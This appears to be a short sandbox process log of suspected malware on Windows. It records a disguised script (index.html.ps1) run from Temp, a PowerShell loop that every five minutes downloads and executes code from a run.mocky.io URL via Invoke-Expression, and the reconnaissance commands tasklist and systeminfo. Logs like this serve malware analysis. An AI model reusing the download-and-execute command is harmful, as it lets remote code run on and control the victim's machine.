powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -ExecutionPolicy unrestricted -File C:\Users\test22\AppData\Local\Temp\index.html.ps1
2560powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" while(1){$R=(New-Object System.Net.WebClient).DownloadString('http://run.mocky.io/v3/acea62da-ca05-46d1-bb80-0b036af7467c');Invoke-Expression $R;Sleep -s 300}
2684tasklist.exe "C:\Windows\system32\tasklist.exe"
2820systeminfo.exe "C:\Windows\system32\systeminfo.exe"
2940